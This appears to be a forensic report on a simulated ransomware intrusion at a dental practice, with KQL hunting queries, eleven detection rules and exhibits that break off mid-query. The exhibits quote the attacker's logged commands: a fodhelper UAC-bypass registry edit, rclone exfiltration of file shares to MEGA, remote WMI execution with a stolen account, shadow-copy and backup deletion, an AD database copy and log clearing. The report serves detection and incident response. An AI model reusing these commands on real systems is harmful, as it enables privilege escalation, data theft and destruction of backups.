| extend Img = extract("Image.>([^<]+)", 1, X), Dst = extract("DestinationIp.>([^<]+)", 1, X),
         Port = extract("DestinationPort.>([^<]+)", 1, X)
| where Img has_any ("Public", "ProgramData", "rundll32") and not(Dst startswith "172.16.")
| summarize First = min(tostring(EventTime)), Last = max(tostring(EventTime)), n = count() by Computer, Img, Dst, Port

// q5 Ransom notes and encrypted files per host
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID == "11"
| extend F = extract("TargetFilename.>([^<]+)", 1, tostring(EventData_Xml))
| summarize Notes = countif(F has "akira_readme"), EncryptedFiles = dcountif(F, F endswith ".akira") by Computer

// q6 Tool staging: every lookup of the cloud-endpoint.net names, and the encoded PowerShell that fetched the tools
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
union
 (T | where EventID == "22" | extend Qn = extract("QueryName.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>
([^<]+)", 1, X)
    | where Qn has "cloud-endpoint"
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host =
tostring(split(Computer, ".")[0]), A = Qn, B = Img),
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>
([^<]+)", 1, X), Par = extract("ParentImage.>([^<]+)", 1, X)
    | where Img endswith "powershell.exe" and todatetime(EventTime) between (datetime(2026-02-04 03:40) ..
datetime(2026-02-04 04:10))
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host =
tostring(split(Computer, ".")[0]), A = strcat("powershell parent ", tostring(split(Par, @"\")[-1])), B =
substring(Cmd, 0, 90))
| order by First asc
```

Method notes: host names carry the domain suffix (`BACKOFFICE-PC1.Harborlight.local`), so filters use `has` ; the Windows event-log rows use `EventCode` and `ComputerName` and leave `EventID` and `Computer` empty (E9).

B Detection rules

The eleven rules run as one query; the result is E8.

```
// B1 R1-R7 as in v2; R8-R11 new in v3
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
let P = T | where EventID == "1" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd =
extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X);
let W = T | where isempty(Computer) | extend Host = tostring(ComputerName), M = tostring(Message);
union
 (P | where Img endswith "rundll32.exe" and Cmd matches regex @"(?i)\s[d-z]:\\[^\\\s]+\.dll" | extend Rule = "R1",
Detail = Cmd),
 (P | where Cmd has "ms-settings" and Cmd has "shell" and Cmd has "command" | extend Rule = "R2", Detail = Cmd),
 (T | where EventID in ("12", "13") | extend Obj = extract("TargetObject.>([^<]+)", 1, X) | where Obj has "ms-
settings" and Obj has "command" | extend Rule = "R2", Detail = Obj),
 (P | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\Microsoft\\") and Img !has "Windows
Defender" | extend Rule = "R3", Detail = Img),
 (T | where EventID == "8" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)",
1, X) | where Tgt has_any ("spoolsv.exe", "notepad.exe") | extend Rule = "R4", Detail = strcat(Src, " -> ", Tgt)),
 (P | where Cmd has "--config" and Cmd has "copy" and Cmd matches regex @"\s[A-Za-z0-9_-]{2,}:[A-Za-z0-9_-]" | extend
Rule = "R5", Detail = Cmd),
 (P | where (Cmd has "/add" and Cmd has "/domain") or Cmd has "Add-ADGroupMember" or (Cmd has "localgroup" and Cmd has
"Administrators" and Cmd has "/add") | extend Rule = "R6", Detail = Cmd),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>
([^<]+)", 1, X) | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\" or Img endswith
"rundll32.exe") and Qn !endswith ".local" and Qn has "." and Img !has "Windows Defender" | extend Rule = "R7", Detail
= strcat(Img, " -> ", Qn)),
 (T | where EventID == "10" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>
([^<]+)", 1, X), Acc = extract("GrantedAccess.>([^<]+)", 1, X) | where Tgt endswith "lsass.exe" and Acc == "0x1fffff"
and Src !has "Windows Defender" and Src !endswith "MsMpEng.exe" | extend Rule = "R8", Detail = Src),
 (P | where (Cmd has "/node:" and Cmd has "process call create") or (Parent endswith "WmiPrvSE.exe" and Img has_any
("cmd.exe", "powershell.exe", "vssadmin.exe", "rundll32.exe")) | extend Rule = "R9", Detail = Cmd),
 (P | where (Cmd has "vssadmin" and Cmd has "delete") or (Cmd has "shadowcopy" and Cmd has "delete") or (Cmd has
"bcdedit" and Cmd has "/set") or (Cmd has "wbadmin" and Cmd has "delete") or (Cmd has "ntdsutil" and Cmd has "ifm") or
(Cmd has "wevtutil" and Cmd has " cl ") | extend Rule = "R10", Detail = Cmd),
 (W | where tostring(EventCode) in ("1102", "104") | extend Rule = "R10", Detail = strcat("event ",
tostring(EventCode)), Computer = Host),
 (W | where tostring(EventCode) in ("4728", "4732", "4756") | extend G = extract(@"Group:\s+Security ID:\s+\S+\s+Group
Name:\s+([^\r\n]+)", 1, M) | where G in ("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators") |
extend Rule = "R11", Detail = G, Computer = Host)
| summarize Hits = count(), Hosts = dcount(Computer), Distinct = dcount(Detail), First =
format_datetime(min(todatetime(EventTime)), "HH:mm:ss"), Last = format_datetime(max(todatetime(EventTime)),
"HH:mm:ss") by Rule
| order by toint(substring(Rule, 1)) asc
```

C Exhibits

E1 The two lures and the first execution

SUPPORTS Edge wrote both archives to Emily's Downloads, 7-Zip was fetched and extracted each ISO, and rundll32 ran review.dll from D: three times, then from E: through the drive-letter loop.

DOES NOT PROVE How the archives reached her (link or attachment), or that the files inside lacked the download mark.

exhibits/E1-the-two-lures-and-the-first-execution-20261023.png

E1 The two lures and the first execution

BACKOFFICE-PC1

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | where Computer has "BACKOFFICE-PC1" | extend X = tostring(EventData_Xml);
union
 (T | where EventID in ("11", "15") | extend F = extract("TargetFilename.>([^<]+)", 1, X), Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X)
    | where F has_any ("Vendor_Invoice_Review", "Harborlight_Insurance_Claims", "7z2501") and F !endswith "Zone.Identifier"
    | summarize UTC = min(todatetime(EventTime)) by EID = EventID, Process = tostring(split(Img, @"\")[-1]), Detail = F),
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
    | where Cmd has "review.dll"
    | project UTC = todatetime(EventTime), EID = EventID, Process = tostring(split(Parent, @"\")[-1]), Detail = Cmd)
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), EID, Process, Detail
| order by UTC asc
```

UTC	EID	PROCESS	DETAIL
2026-02-04 01:57:15	15	msedge.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review.7z
2026-02-04 01:58:13	15	msedge.exe	C:\Users\emily.grant\Downloads\7z2501-x64.exe
2026-02-04 01:58:54	11	7zG.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review
2026-02-04 01:59:02	11	7zG.exe	C:\Users\emily.grant\Downloads\Vendor_Invoice_Review\Vendor_Invoice_Review.iso
2026-02-04 01:59:15	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 01:59:32	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 02:00:08	1	explorer.exe	"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW
2026-02-04 02:24:21	15	msedge.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims.7z
2026-02-04 02:24:33	11	7zG.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims
2026-02-04 02:24:52	11	7zG.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims\Harborlight_Insurance_Claims.iso
2026-02-04 02:25:06	1	explorer.exe	"C:\Windows\System32\cmd.exe" /c for %%d in (D E F G H I J) do @if exist "%%d:\review.dll" rundll32 %%d:\review.dll,StartW
2026-02-04 02:25:06	1	cmd.exe	rundll32 E:\review.dll,StartW
2026-02-04 05:17:35	11	updater.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims\akira_readme.txt
2026-02-04 05:17:35	11	updater.exe	C:\Users\emily.grant\Downloads\Harborlight_Insurance_Claims.7z.akira

LAW-SilentCorridor · HarborlightDental_CL

14 rows · result as returned, 2026-10-23

E2 UAC bypass through fodhelper

SUPPORTS The implant pointed the per-user ms-settings handler at C:\Users\Public\taskhostw.exe; the first fodhelper launch stayed Medium, the launch through cmd produced a High-integrity fodhelper, and taskhostw.exe started High one second later as its child.

DOES NOT PROVE Why the first launch did not elevate.

exhibits/E2-uac-bypass-through-fodhelper-20261023.png

E2 UAC bypass through fodhelper

BACKOFFICE-PC1

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where Computer has "BACKOFFICE-PC1" and EventID == "1"
| extend X = tostring(EventData_Xml)
| extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X),
        IL = extract("IntegrityLevel.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
| where Img has_any ("fodhelper", "taskhostw") or (Img endswith "reg.exe" and Cmd has "ms-settings")
| project UTC = format_datetime(todatetime(EventTime), "yyyy-MM-dd HH:mm:ss"), Process = tostring(split(Img, @"\")[-1]), Integrity = IL, Parent = tostring(split(Parent, @"\")
[-1]), CommandLine = substring(Cmd, 0, 150)
| order by UTC asc
```

UTC	PROCESS	INTEGRITY	PARENT	COMMANDLINE
2026-02-04 02:40:41	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /t REG_SZ /d C:\Users\Public\taskhostw.exe /f
2026-02-04 02:40:52	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /t REG_SZ /d C:\Users\Public\taskhostw.exe /f
2026-02-04 02:42:08	reg.exe	Medium	rundll32.exe	reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "" /f
2026-02-04 02:42:11	fodhelper.exe	Medium	rundll32.exe	fodhelper.exe
2026-02-04 02:42:39	fodhelper.exe	Medium	cmd.exe	fodhelper.exe
2026-02-04 02:42:39	fodhelper.exe	Medium	cmd.exe	"C:\Windows\system32\fodhelper.exe"
2026-02-04 02:42:39	fodhelper.exe	High	cmd.exe	"C:\Windows\system32\fodhelper.exe"
2026-02-04 02:42:40	taskhostw.exe	High	fodhelper.exe	"C:\Users\Public\taskhostw.exe"

LAW-SilentCorridor · HarborlightDental_CL

8 rows · result as returned, 2026-10-23

E3 Injection into the Print Spooler, and full-access opens of LSASS

SUPPORTS Remote threads into notepad.exe and spoolsv.exe on every host (13 in all), and lsass.exe opened with PROCESS_ALL_ACCESS (0x1fffff) by spoolsv.exe on the workstation and by taskhostw.exe on all three hosts.

DOES NOT PROVE That memory was dumped: no dump file is logged.

exhibits/E3-injection-into-the-print-spooler-and-ful-20261023.png

E3 Injection into the Print Spooler, and full-access opens of LSASS — all three

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where EventID in ("8", "10")
| extend X = tostring(EventData_Xml)
| extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X), Access = extract("GrantedAccess.>([^<]+)", 1, X)
| where (EventID == "8" and Tgt has_any ("spoolsv.exe", "notepad.exe")) or (EventID == "10" and Tgt endswith "lsass.exe" and Access == "0x1fffff")
| summarize First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)), n = count() by Host = tostring(split(Computer, ".")[0]), EID = EventID, Source = Src, Target =
tostring(split(Tgt, @"\")[-1]), Access
| project First = format_datetime(First, "yyyy-MM-dd HH:mm:ss"), Last = format_datetime(Last, "HH:mm:ss"), Host, EID, Source, Target, Access, n
| order by First asc
```

FIRST	LAST	HOST	EID	SOURCE	TARGET	ACCESS	N
2026-02-04 02:32:48	02:35:45	BACKOFFICE-PC1	8	C:\Windows\System32\rundll32.exe	notepad.exe		4
2026-02-04 02:47:11	03:31:58	BACKOFFICE-PC1	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		2
2026-02-04 02:49:46	02:50:17	BACKOFFICE-PC1	10	C:\Windows\System32\spoolsv.exe	lsass.exe	0x1fffff	2
2026-02-04 02:56:31	03:22:08	BACKOFFICE-PC1	8	C:\Windows\System32\spoolsv.exe	notepad.exe		4
2026-02-04 03:31:58	03:31:58	BACKOFFICE-PC1	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:26:08	04:26:08	HL-FS01	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:26:08	04:26:08	HL-FS01	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		1
2026-02-04 04:34:11	04:34:11	ADDC01	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:34:12	04:34:12	ADDC01	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		1
2026-02-04 04:37:38	04:37:38	ADDC01	8	C:\Windows\System32\spoolsv.exe	notepad.exe		1

LAW-SilentCorridor · HarborlightDental_CL — 10 rows · result as returned, 2026-10-23

E4 Admin shares, WMI and the copy to MEGA

SUPPORTS Emily.Grant's own account (password typed in clear, masked here) mounted C$ on the file server, then the domain controller; WMI ran a shadow-copy delete with the same account; the renamed rclone copied C:\Shares to mega:HARBORLIGHT-exfil three times and resolved MEGA storage nodes 39 times.

DOES NOT PROVE How much data reached MEGA: Sysmon records the lookups, not the bytes.

exhibits/E4-admin-shares-wmi-and-the-copy-to-mega-20261023.png

E4 Admin shares, WMI and the copy to MEGA — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
union
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X)
    | where (Cmd has "net use" and Cmd has "$") or Cmd has "/node:" or (Cmd has "--config" and Cmd has "copy")
    | project UTC = todatetime(EventTime), Host = tostring(split(Computer, ".")[0]),
      What = replace_regex(replace_regex(Cmd, @"(/user:\S+)\s+\S+", @"\1 [password masked]"), @"(password-command echo)[^ ]* [^ ]+", @"\1 [masked]")),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>([^<]+)", 1, X)
    | where Img endswith "MsMpEng.exe" and Img has "ProgramData" and Qn has "mega"
    | summarize UTC = min(todatetime(EventTime)), n = count(), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project UTC, Host, What = strcat("DNS: renamed rclone resolved MEGA storage nodes ", n, " times, last ", format_datetime(Last, "HH:mm:ss")))
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 170)
| order by UTC asc
```

UTC	HOST	WHAT
2026-02-04 03:34:09	BACKOFFICE-PC1	net use Z: \\172.16.0.8\C$ /user:HARBORLIGHT\Emily.Grant [password masked]
2026-02-04 03:57:40	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\config.dat --password-command echo [masked] copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 03:58:33	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\rclone.conf copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 03:58:34	HL-FS01	DNS: renamed rclone resolved MEGA storage nodes 39 times, last 04:03:39
2026-02-04 04:00:14	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\rclone.conf copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 04:28:22	HL-FS01	net use Y: \\172.16.0.7\C$ /user:HARBORLIGHT\Emily.Grant [password masked]
2026-02-04 04:42:28	ADDC01	wmic /node:172.16.0.7 /user:HARBORLIGHT\Emily.Grant [password masked] process call create "cmd /c vssadmin delete shadows /all /quiet"

LAW-SilentCorridor · HarborlightDental_CL — 7 rows · result as returned, 2026-10-23

E5 Anti-recovery, the AD database copy and log clearing, per host

SUPPORTS The file server lost shadow copies, boot recovery and the backup catalog (each command twice); the domain controller's AD database was copied with ntdsutil IFM and its shadow copies deleted; wevtutil cleared logs on all three hosts, and the servers' own clear events (1102, 104) confirm it.

DOES NOT PROVE The workstation's clear events: wevtutil ran there 21 times, but no 1102 or 104 from it is in the dataset.

exhibits/E5-anti-recovery-the-ad-database-copy-and-l-20261023.png

E5 Anti-recovery, the AD database copy and log clearing, per host — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, tostring(EventData_Xml))
    | extend Action = case(Cmd has "vssadmin" and Cmd has "delete", "vssadmin delete shadows", Cmd has "shadowcopy" and Cmd has "delete", "wmic shadowcopy delete",
        Cmd has "bcdedit" and Cmd has "/set", "bcdedit recovery off", Cmd has "wbadmin" and Cmd has "delete", "wbadmin delete catalog",
        Cmd has "ntdsutil" and Cmd has "ifm", "ntdsutil IFM (AD database copy)", Cmd has "wevtutil" and Cmd has " cl ", "wevtutil cl (clear a log)", "")
    | where isnotempty(Action) and not(Cmd startswith "wmic /node")
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0]), Action),
 (T | where isempty(Computer) and tostring(EventCode) in ("1102", "104")
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), Action =
iff(tostring(EventCode) == "1102", "event 1102: Security log cleared", "event 104: a log cleared (System log)"))
| project Host, Action, n, First = format_datetime(First, "HH:mm:ss"), Last = format_datetime(Last, "HH:mm:ss")
| order by Host asc, First asc
```

HOST	ACTION	N	FIRST (UTC)	LAST (UTC)
ADDC01	ntdsutil IFM (AD database copy)	4	04:33:55	04:35:35
ADDC01	vssadmin delete shadows	2	04:43:35	04:43:35
ADDC01	event 104: a log cleared (System log)	19	05:14:18	05:20:01
ADDC01	event 1102: Security log cleared	2	05:14:18	05:20:00
ADDC01	wevtutil cl (clear a log)	21	05:14:18	05:20:01
BACKOFFICE-PC1	wevtutil cl (clear a log)	21	05:17:35	05:18:21
HL-FS01	event 104: a log cleared (System log)	21	03:42:36	05:19:31
HL-FS01	event 1102: Security log cleared	3	03:42:36	05:19:31
HL-FS01	wevtutil cl (clear a log)	24	03:42:36	05:19:31
HL-FS01	vssadmin delete shadows	2	04:04:05	04:05:26
HL-FS01	bcdedit recovery off	4	04:04:06	04:05:26
HL-FS01	wmic shadowcopy delete	2	04:04:06	04:05:26
HL-FS01	wbadmin delete catalog	2	04:04:07	04:05:26

LAW-SilentCorridor · HarborlightDental_CL — 13 rows · result as returned, 2026-10-23

E6 Encryption, the new domain admin, and beacons that outlived both

SUPPORTS 128 ransom notes and 27 distinct .akira paths across the estate (two of them appear in two hosts' logs, so the per-host figures sum to 29); the directory's own events show svc_sql created, then added to Administrators and Domain Admins; the implants kept connecting to the C2 addresses until 09:23, 14:47 and 18:47.

DOES NOT PROVE What the beacons carried, or that Akira's own encryptor (rather than a look-alike) was used: the binary was not analysed.

exhibits/E6-encryption-the-new-domain-admin-and-beac-20261023.png

E6 Encryption, the new domain admin, and beacons that outlived both — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
let X = T | extend X = tostring(EventData_Xml);
union
 (X | where EventID == "11" | extend F = extract("TargetFilename.>([^<]+)", 1, X) | where F has "akira_readme" or F endswith ".akira"
    | summarize Notes = countif(F has "akira_readme"), Encrypted = dcountif(F, F endswith ".akira"), First = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")
[0])
    | project Host, Item = "Akira: ransom notes written / .akira file paths", Value = strcat(Notes, " / ", Encrypted), UTC = format_datetime(First, "HH:mm:ss")),
 (T | where isempty(Computer) and tostring(EventCode) in ("4720", "4732", "4728") | extend M = tostring(Message)
    | project Host = tostring(split(ComputerName, ".")[0]), Item = strcat("Security ", tostring(EventCode), case(tostring(EventCode) == "4720", ": account created", ": member
added to group")),
      Value = case(tostring(EventCode) == "4720", "svc_sql", strcat("SID ...", extract(@"Member:\s+Security ID:\s+\S+-(\d+)\s", 1, M), " -> ", extract(@"Group:\s+Security
ID:\s+\S+\s+Group Name:\s+([^\r\n]+)", 1, M))), UTC = format_datetime(todatetime(EventTime), "HH:mm:ss")),
 (X | where EventID == "3" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Dst = extract("DestinationIp.>([^<]+)", 1, X)
    | where (Img has_any (@"\Users\Public\", @"\ProgramData\Microsoft\") or Img endswith "rundll32.exe") and Dst in ("104.21.30.237", "172.67.174.46")
    | summarize n = count(), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project Host, Item = strcat("C2 connections to cdn.cloud-endpoint.net (", n, "), last at"), Value = format_datetime(Last, "yyyy-MM-dd HH:mm:ss"), UTC = "")
| order by Item asc, Host asc
```

HOST	ITEM	VALUE	UTC
ADDC01	Akira: ransom notes written / .akira file paths	38 / 23	05:14:15
BACKOFFICE-PC1	Akira: ransom notes written / .akira file paths	13 / 2	05:17:35
HL-FS01	Akira: ransom notes written / .akira file paths	77 / 4	05:13:05
BACKOFFICE-PC1	C2 connections to cdn.cloud-endpoint.net (1494), last at	2026-02-04 09:23:49	
ADDC01	C2 connections to cdn.cloud-endpoint.net (4626), last at	2026-02-04 18:47:29	
HL-FS01	C2 connections to cdn.cloud-endpoint.net (8093), last at	2026-02-04 14:47:52	
ADDC01	Security 4720: account created	svc_sql	05:21:56
ADDC01	Security 4728: member added to group	SID ...2105 -> Domain Admins	05:22:57
ADDC01	Security 4732: member added to group	SID ...2105 -> Administrators	05:22:28

LAW-SilentCorridor · HarborlightDental_CL — 9 rows · result as returned, 2026-10-23

E7 After the encryption: the consoles, AnyDesk and a second copy of the implant

SUPPORTS AnyDesk was running on the workstation from 00:29, before the first lure. At 13:44 to 13:45 a console sign-in as the file server's local Administrator opened three ransom notes and started C:\Users\Public\taskhostw.exe; at 13:49 the workstation's local helpdesk account signed in, opened AnyDesk and read AnyDesk's connection_trace.txt twice; the workstation was powered off at 14:27:48.

DOES NOT PROVE Who was at either console, or who used AnyDesk at 10:43 and 13:47: the account names fit staff or the MSP, and the logs do not say which.

exhibits/E7-after-the-encryption-the-consoles-anydes-20261023.png

E7 After the encryption: the consoles, AnyDesk and a second copy of the implant

HL-FS01, BACKOFFICE-PC1

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where isempty(Computer) and tostring(EventCode) in ("4625", "4624") and todatetime(EventTime) > datetime(2026-02-04 13:00) and tostring(Logon_Type) == "2"
    | extend Who = tostring(split(tostring(Account_Name), "\n")[-1])
    | where Who !in ("DWM-4", "UMFD-4")
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat(iff(tostring(EventCode) == "4625", "4625 failed
console sign-in as ", "4624 console sign-in (type 2) as "), Who)),
 (T | where EventID == "1" and todatetime(EventTime) > datetime(2026-02-04 13:00) | extend X = tostring(EventData_Xml)
    | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), User = extract(@"<Data Name=.User.>([^<]+)", 1, X)
    | where Cmd has_any ("akira_readme", "taskhostw", "AnyDesk")
    | project n = 1, UTC = todatetime(EventTime), Host = tostring(split(Computer, ".")[0]), What = strcat(User, ": ", Cmd)),
 (T | where EventID == "22" | extend X = tostring(EventData_Xml) | where X has "AnyDesk.exe" and X has "anydesk.com"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0]), Hour = bin(todatetime(EventTime), 1h)
    | project n, UTC, Host, What = "AnyDesk.exe resolves AnyDesk relay hosts"),
 (T | where EventID == "10" | extend X = tostring(EventData_Xml) | where X has @"AnyDesk\AnyDesk.exe"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project n, UTC, Host, What = "First record of AnyDesk.exe running (a process opens it)"),
 (T | where isempty(Computer) and tostring(EventCode) == "1074"
    | project n = 1, UTC = todatetime(EventTime), Host = tostring(split(ComputerName, ".")[0]), What = "1074 power off initiated (winlogon)")
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 150), n
| order by UTC asc
```

UTC	HOST	WHAT	N
2026-02-04 00:29:02	BACKOFFICE-PC1	First record of AnyDesk.exe running (a process opens it)	48
2026-02-04 10:43:40	BACKOFFICE-PC1	AnyDesk.exe resolves AnyDesk relay hosts	3
2026-02-04 13:44:39	HL-FS01	4625 failed console sign-in as Administrator	3
2026-02-04 13:44:55	HL-FS01	4624 console sign-in (type 2) as Administrator	1
2026-02-04 13:45:13	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\akira_readme.txt	1
2026-02-04 13:45:16	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\akira_readme.txt	1
2026-02-04 13:45:16	HL-FS01	HL-FS01\Administrator: "C:\Users\Public\taskhostw.exe"	1
2026-02-04 13:45:17	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\akira_re	1
2026-02-04 13:47:02	BACKOFFICE-PC1	AnyDesk.exe resolves AnyDesk relay hosts	3
2026-02-04 13:49:14	BACKOFFICE-PC1	4625 failed console sign-in as helpdesk	2
2026-02-04 13:49:23	BACKOFFICE-PC1	4625 failed console sign-in as Emily.Grant	1
2026-02-04 13:49:31	BACKOFFICE-PC1	4624 console sign-in (type 2) as helpdesk	2
2026-02-04 13:50:02	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --control	1
2026-02-04 13:52:36	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\AnyDesk\connection_trace.txt	1
2026-02-04 13:53:07	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\AnyDesk\connection_trace.txt	1
2026-02-04 14:27:48	BACKOFFICE-PC1	1074 power off initiated (winlogon)	1

LAW-SilentCorridor · HarborlightDental_CL

16 rows · result as returned, 2026-10-23

E8 Detection replay: eleven rules on the whole dataset

SUPPORTS R1 to R7 return exactly the v2 counts; the four new rules (R8 to R11) fire on attack activity only. The dataset also holds a day of ordinary background (Edge and OneDrive updaters, WMI, compatibility telemetry), and no rule fires on any of it.

DOES NOT PROVE Production false-positive rates: one simulated day is a small benign baseline.

exhibits/E8-detection-replay-eleven-rules-on-the-who-20261023.png

E8 Detection replay: eleven rules on the whole dataset — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
let P = T | where EventID == "1" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>
([^<]+)", 1, X);
let W = T | where isempty(Computer) | extend Host = tostring(ComputerName), M = tostring(Message);
union
 (P | where Img endswith "rundll32.exe" and Cmd matches regex @"(?i)\s[d-z]:\\[^\\\s]+\.dll" | extend Rule = "R1", Detail = Cmd),
 (P | where Cmd has "ms-settings" and Cmd has "shell" and Cmd has "command" | extend Rule = "R2", Detail = Cmd),
 (T | where EventID in ("12", "13") | extend Obj = extract("TargetObject.>([^<]+)", 1, X) | where Obj has "ms-settings" and Obj has "command" | extend Rule = "R2", Detail =
Obj),
 (P | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\Microsoft\\") and Img !has "Windows Defender" | extend Rule = "R3", Detail = Img),
 (T | where EventID == "8" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X) | where Tgt has_any ("spoolsv.exe", "notepad.exe") |
extend Rule = "R4", Detail = strcat(Src, " -> ", Tgt)),
 (P | where Cmd has "--config" and Cmd has "copy" and Cmd matches regex @"\s[A-Za-z0-9_-]{2,}:[A-Za-z0-9_-]" | extend Rule = "R5", Detail = Cmd),
 (P | where (Cmd has "/add" and Cmd has "/domain") or Cmd has "Add-ADGroupMember" or (Cmd has "localgroup" and Cmd has "Administrators" and Cmd has "/add") | extend Rule = "R6",
Detail = Cmd),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>([^<]+)", 1, X) | where (Img contains "\\Users\\Public\\" or
Img contains "\\ProgramData\\" or Img endswith "rundll32.exe") and Qn !endswith ".local" and Qn has "." and Img !has "Windows Defender" | extend Rule = "R7", Detail =
strcat(Img, " -> ", Qn)),
 (T | where EventID == "10" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X), Acc = extract("GrantedAccess.>([^<]+)", 1, X) |
where Tgt endswith "lsass.exe" and Acc == "0x1fffff" and Src !has "Windows Defender" and Src !endswith "MsMpEng.exe" | extend Rule = "R8", Detail = Src),
